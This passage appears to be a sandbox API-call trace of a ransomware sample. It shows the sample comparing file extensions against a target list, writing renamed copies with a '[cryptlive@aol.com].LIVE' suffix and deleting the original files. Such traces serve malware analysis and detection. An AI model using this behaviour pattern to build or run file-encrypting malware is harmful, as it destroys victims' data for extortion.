Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.247] lstrlenW (lpString=".doc") returned 4 [0043.247] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.247] lstrlenW (lpString=".docx") returned 5 [0043.247] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0043.247] lstrlenW (lpString=".pdf") returned 4 [0043.247] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.247] lstrlenW (lpString=".xls") returned 4 [0043.247] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.247] lstrlenW (lpString=".xlsx") returned 5 [0043.247] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0043.247] lstrlenW (lpString=".ppt") returned 4 [0043.247] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.247] lstrlenW (lpString=".zip") returned 4 [0043.247] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.247] lstrlenW (lpString=".rar") returned 4 [0043.247] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.247] lstrlenW (lpString=".bz2") returned 4 [0043.247] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.247] lstrlenW (lpString=".7z") returned 3 [0043.247] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.248] lstrlenW (lpString=".dbf") returned 4 [0043.248] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.248] lstrlenW (lpString=".1cd") returned 4 [0043.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.248] lstrlenW (lpString=".jpg") returned 4 [0043.248] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.248] lstrlenW (lpString=".doc") returned 4 [0043.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.248] lstrlenW (lpString=".docx") returned 5 [0043.248] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0043.248] lstrlenW (lpString=".pdf") returned 4 [0043.248] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.248] lstrlenW (lpString=".xls") returned 4 [0043.248] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.248] lstrlenW (lpString=".xlsx") returned 5 [0043.248] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0043.248] lstrlenW (lpString=".ppt") returned 4 [0043.248] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.248] lstrlenW (lpString=".zip") returned 4 [0043.248] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.248] lstrlenW (lpString=".rar") returned 4 [0043.248] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.248] lstrlenW (lpString=".bz2") returned 4 [0043.249] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.249] lstrlenW (lpString=".7z") returned 3 [0043.249] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.249] lstrlenW (lpString=".dbf") returned 4 [0043.249] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.249] lstrlenW (lpString=".1cd") returned 4 [0043.249] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.249] lstrlenW (lpString=".jpg") returned 4 [0043.249] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.249] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0043.249] lstrlenW (lpString="ipscht.xml") returned 10 [0043.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0043.250] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2436) returned 1 [0043.250] CloseHandle (hObject=0x15c) returned 1 [0043.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0043.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0043.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.251] lstrlenW (lpString=".doc") returned 4 [0043.251] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".docx") returned 5 [0043.251] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0043.251] lstrlenW (lpString=".pdf") returned 4 [0043.251] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".xls") returned 4 [0043.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".xlsx") returned 5 [0043.251] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0043.251] lstrlenW (lpString=".ppt") returned 4 [0043.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.251] lstrlenW (lpString=".zip") returned 4 [0043.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.251] lstrlenW (lpString=".rar") returned 4 [0043.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".bz2") returned 4 [0043.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".7z") returned 3 [0043.252] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.252] lstrlenW (lpString=".dbf") returned 4 [0043.252] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.252] lstrlenW (lpString=".1cd") returned 4 [0043.252] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.252] lstrlenW (lpString=".jpg") returned 4 [0043.252] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.252] lstrlenW (lpString=".doc") returned 4 [0043.252] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString=".docx") returned 5 [0043.252] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0043.252] lstrlenW (lpString=".pdf") returned 4 [0043.252] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString=".xls") returned 4 [0043.252] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString=".xlsx") returned 5 [0043.252] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0043.252] lstrlenW (lpString=".ppt") returned 4 [0043.252] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.252] lstrlenW (lpString=".zip") returned 4 [0043.252] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.252] lstrlenW (lpString=".rar") returned 4 [0043.253] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.253] lstrlenW (lpString=".bz2") returned 4 [0043.253] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.253] lstrlenW (lpString=".7z") returned 3 [0043.253] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.253] lstrlenW (lpString=".dbf") returned 4 [0043.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.253] lstrlenW (lpString=".1cd") returned 4 [0043.253] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0043.253] lstrlenW (lpString=".jpg") returned 4 [0043.253] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.253] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0043.253] lstrlenW (lpString="ipscsy.xml") returned 10 [0043.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0043.254] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2556) returned 1 [0043.254] CloseHandle (hObject=0x15c) returned 1 [0043.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0043.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0043.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.254] lstrlenW (lpString=".doc") returned 4 [0043.254] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.254] lstrlenW (lpString=".docx") returned 5 [0043.254] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0043.254] lstrlenW (lpString=".pdf") returned 4 [0043.254] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.254] lstrlenW (lpString=".xls") returned 4 [0043.254] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.254] lstrlenW (lpString=".xlsx") returned 5 [0043.255] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0043.255] lstrlenW (lpString=".ppt") returned 4 [0043.255] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.255] lstrlenW (lpString=".zip") returned 4 [0043.255] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.255] lstrlenW (lpString=".rar") returned 4 [0043.255] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.255] lstrlenW (lpString=".bz2") returned 4 [0043.255] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.255] lstrlenW (lpString=".7z") returned 3 [0043.255] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.255] lstrlenW (lpString=".dbf") returned 4 [0043.255] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.255] lstrlenW (lpString=".1cd") returned 4 [0043.255] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.255] lstrlenW (lpString=".jpg") returned 4 [0043.255] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.255] lstrlenW (lpString=".doc") returned 4 [0043.255] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.255] lstrlenW (lpString=".docx") returned 5 [0043.255] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0043.256] lstrlenW (lpString=".pdf") returned 4 [0043.256] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.256] lstrlenW (lpString=".xls") returned 4 [0043.256] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.256] lstrlenW (lpString=".xlsx") returned 5 [0043.256] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0043.256] lstrlenW (lpString=".ppt") returned 4 [0043.256] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.256] lstrlenW (lpString=".zip") returned 4 [0043.256] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.256] lstrlenW (lpString=".rar") returned 4 [0043.256] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.256] lstrlenW (lpString=".bz2") returned 4 [0043.256] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.256] lstrlenW (lpString=".7z") returned 3 [0043.256] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.256] lstrlenW (lpString=".dbf") returned 4 [0043.256] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.256] lstrlenW (lpString=".1cd") returned 4 [0043.256] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0043.256] lstrlenW (lpString=".jpg") returned 4 [0043.256] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.257] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0043.257] lstrlenW (lpString="ipsdan.xml") returned 10 [0043.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0043.257] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2514) returned 1 [0043.257] CloseHandle (hObject=0x15c) returned 1 [0043.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0043.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0043.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0043.258] lstrlenW (lpString=".doc") returned 4 [0043.258] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.258] lstrlenW (lpString=".docx") returned 5 [0043.258] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0043.258] lstrlenW (lpString=".pdf") returned 4 [0043.258] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.258] lstrlenW (lpString=".xls") returned 4 [0043.258] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.258] lstrlenW (lpString=".xlsx") returned 5 [0043.258] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0043.258] lstrlenW (lpString=".ppt") returned 4 [0043.258] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0043.258] lstrlenW (lpString=".zip") returned 4 [0043.258] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.258] lstrlenW (lpString=".rar") returned 4 [0043.258] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.258] lstrlenW (lpString=".bz2") returned 4 [0043.258] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.258] lstrlenW (lpString=".7z") returned 3 [0043.258] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0043.258] lstrlenW (lpString=".dbf") returned 4 [0043.258] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.336] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=596341) returned 1 [0045.336] CloseHandle (hObject=0x180) returned 1 [0045.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0045.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0045.337] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.337] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0045.337] GetLastError () returned 0x0 [0045.337] ReadFile (in: hFile=0x180, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x91975, lpOverlapped=0x0) returned 1 [0045.351] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x91980, lpOverlapped=0x0) returned 1 [0045.361] ReadFile (in: hFile=0x180, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0045.362] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.362] SetEndOfFile (hFile=0x15c) returned 1 [0045.362] CloseHandle (hObject=0x15c) returned 1 [0045.573] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.573] SetEndOfFile (hFile=0x180) returned 1 [0045.655] CloseHandle (hObject=0x180) returned 1 [0045.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0045.656] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0045.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.656] lstrlenW (lpString=".doc") returned 4 [0045.656] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.656] lstrlenW (lpString=".docx") returned 5 [0045.656] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0045.656] lstrlenW (lpString=".pdf") returned 4 [0045.656] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.656] lstrlenW (lpString=".xls") returned 4 [0045.656] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.656] lstrlenW (lpString=".xlsx") returned 5 [0045.656] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0045.656] lstrlenW (lpString=".ppt") returned 4 [0045.656] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.656] lstrlenW (lpString=".zip") returned 4 [0045.656] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.656] lstrlenW (lpString=".rar") returned 4 [0045.656] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.656] lstrlenW (lpString=".bz2") returned 4 [0045.656] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.656] lstrlenW (lpString=".7z") returned 3 [0045.656] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.657] lstrlenW (lpString=".dbf") returned 4 [0045.657] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.657] lstrlenW (lpString=".1cd") returned 4 [0045.657] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.657] lstrlenW (lpString=".jpg") returned 4 [0045.657] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.657] lstrlenW (lpString=".doc") returned 4 [0045.657] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".docx") returned 5 [0045.657] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0045.657] lstrlenW (lpString=".pdf") returned 4 [0045.657] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".xls") returned 4 [0045.657] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".xlsx") returned 5 [0045.657] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0045.657] lstrlenW (lpString=".ppt") returned 4 [0045.657] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.657] lstrlenW (lpString=".zip") returned 4 [0045.657] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.657] lstrlenW (lpString=".rar") returned 4 [0045.657] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".bz2") returned 4 [0045.657] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.657] lstrlenW (lpString=".7z") returned 3 [0045.657] 